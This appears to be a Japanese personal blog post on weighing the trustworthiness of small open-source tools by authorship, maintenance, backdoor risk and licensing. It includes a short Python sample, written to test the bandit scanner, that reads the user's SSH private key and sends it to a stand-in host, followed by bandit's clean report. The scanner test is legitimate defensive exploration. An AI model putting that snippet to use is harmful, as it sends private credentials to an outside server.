別途、自分がツール公開して２週間立って思ったことをまとめてるのですが、その中の一部が思ったより長くなるので、切り出しました。
ツール（オープンソース）の信頼性を考える。
昔々、後輩がどっからともなく拾ってきたチケットシステムで運用を組みまして。
１年後、そのシステムが全社の脆弱性診断施策の生贄にされまして。
。。。私が脆弱性潰しさせられたことを思い出しました。
git見に行ったらそもそも数年前から開発止まってるし。。
なんで他人が作りすてた●コードの修正をシなきゃならんのか、、
後輩しばきに行ったら転職してました。
まぁ愚痴はさておき。
ググったツールとかのオープンソースをチームで使おうかなと考えたときに考えていることを、ざっとまとめます。
ちなみに、UbuntuとかJavaとかの商用クラスのコードの話ではなくて、小規模で特定のコミュでは有名だけどそもそも誰が作ったんだこれ、、みたいになるようなものの話です。
。。。この２つを分けて表現するいい言葉ってあるのかな、、
誰が作ったの？
まずこれが入り口になります。
ググらずとも知っている企業が作っている、聞いたことはないけどググればある程度の情報が得られる企業が作ってるあたりは合格点でしょうか。
ググればサイトはあるけど、中身がない／代表者が特定できない、というサイトになってくると、ちょっと判断が難しくなってきます。
あるいは、ググると利用されている実績が非常に多いけど、「コミュニティ」で開発しているもの。コミュニティは自分がそのカテに足つっこんでればすぐ信頼性わかるんですが、カテ違いの世界にいるとほんとわからん。。人数でみるくらいしかできない。
製作者が個人の場合は、所属組織で判断ですかね。。あるいは外部発表や情報発信を盛んにされてる方なら、安心して使える部類でしょうか。
そもそも誰が作ったを調べるのが厄介なこともあります。
ライセンスファイルの署名、gitアカウントのメアド、説明文の中のlinkなどから追っかけますが、、サイトはあるんだけどそこに組織名や代表者名が無いというのも多いです。すごくちゃんとしてそうなサイトなんですけど、誰が管理してるのかほんとにわからない。
whoisでURL追っかけても、昨今は担当者の連絡先隠しますしね。
目線を変えてWikipediaで会社名や団体名を引くと情報の取っ掛かりがあって、そこから一次情報を探しだせる、ということもなくはないですが。。
意図通りに動くんだよね？
当然ですが、自身やチームの要件にあってる機能持ってないとしょうがないです。
ちゃんと動くなら、そもそも製作者追っかけなくても別にいいだろって？
それってつきつめるとコードをフォークして、自分の責任で開発とメンテをするということになるんですよね。
それはそれで１つの選択肢だとは思いますが、ある程度以上の体力がある企業の選択肢で、少なくとも個人や小規模なチームでやるこっちゃないです。
ちゃんとメンテしてくれるの？
少なくとも、何年も前から更新が止まってるツールは、セキュリティの観点で使うの避けたいです。
あるいは、バグを報告したらちゃんと直してほしいし。
ここはやはりgithubで最終更新日を見るとかでしょうか。
中には非常に安定していて、実際手を入れる必要が無いってものもあるでしょうけれど、、、。
定期的に環境や引用パッケージのバージョン更新してれば、requirementsくらいは更新されるんじゃないかなぁ。。
あとコピーライトの「年度」とか。
ただ、やはり開発が盛んに続いていないものは、使うの怖いですね。
。。バックドア仕込んでないよね？
オープンソースだから誰かが見てる？誰が見てるんですかねぇ。。
pypiでインストール時にタイポしてきた人間を狙うバックドア入りツールを潰しこんだという話もありますが、体系だって網羅的な確認が定常的に行われているかというと、そんな感じはしないんですよね。
ある程度著名なツールなら思考停止して信じてしまうけど、これが微妙な法人や個人になってくると、、手放しでは使えない。
小さなツールならソースを全部斜め読みしてしまえば良い。
大きなツールなら、、どうするかな。。
ちょうどこんなコラムがありました。現在持つづいている、、のかな、、？
何か良い方法紹介してくれるといいなぁ。。
https://www.accelia.net/column/resilience/14/
静的コード診断
外部通信いらんはずなのに、ネットワーク系のパッケージ引き込んでいるとか、明らかにバックドアなパッケージを取り込んでいるとか、難読化を差し込んでいるものなどでしょうか。
banditはそういう用途ではさすがに無い気がしていますが、、、試してみますか、、
$ cat ./test.py
import requests
import os
path = os.path.expanduser('~/.ssh/id_rsa')
with open(path, 'r') as f:
secret = f.readline()
r = requests.get('https://exsample.net/?data={}', secret)
$ bandit ./test.py
[main] INFO profile include tests: None
[main] INFO profile exclude tests: None
[main] INFO cli include tests: None
[main] INFO cli exclude tests: None
[main] INFO running on Python 3.8.5
Run started:2021-02-18 06:52:06.894663
Test results:
No issues identified.
Code scanned:
Total lines of code: 6
Total lines skipped (#nosec): 0
Run metrics:
Total issues (by severity):
Undefined: 0.0
Low: 0.0
Medium: 0.0
High: 0.0
Total issues (by confidence):
Undefined: 0.0
Low: 0.0
Medium: 0.0
High: 0.0
Files skipped (0):
うん、だめですね。
この方法のポイントは、明らかにブラックなパッケージの導入、難読部、プロセスフォーク（subprocessとか）、外部通信、ディスクからの読みこみでしょうか。
ただ、それらをどう網羅的に捕まえるか。
当然思い付くのはimport socket, requests, methodでopen, subprocessですが、当然それで全部なわけはないんですよね。
システムコールをとっ捕まえる、、？ それもはやサンドボックスだな。。
まぁ動的解析のスタンスで見てもよいのだとは思いますが、実行ファイルとかならまだしも、パッケージに対してサンドボックスかけるなら、パッケージの機能全部網羅して実行させるコード書かないといけないわけで、、きりないな。。
一回うまいこと、上記のリスクがある標準パッケージとfunctionを一覧化する、、？
システムコールに基づく調査は、なんだかんだでやってみたことなかったですし、腹をくくってやってみるか、、？
よらば大樹の陰
余り褒められたことではないですが。
pythonなどスクリプトも、著名なパッケージだとOSディストリビュータがパッケージ化して、公式レポで配布してくれてます。
非常に古いバージョンが採用されていて、かつメンテもされてるのか非常に微妙なきはしますが、まぁ一応OSとして採用するくらいには信用できるのであろう、、。きっと。多分。
って見方をすることはなくはないです。
。。。ライセンス違反の片棒かつがされたりしないよね？
他のオープンソースのライセンス部分外して配布してるみたいな意味です。
正直これは確認方法自体全く思いついていないです。
最初の、信頼できる企業かどうかの判断に委ねるしか無いのが本音です。
総じて
よっぽど有名なもの以外は、使うのやめとこう、、自分で作りゃいいじゃん、、になる。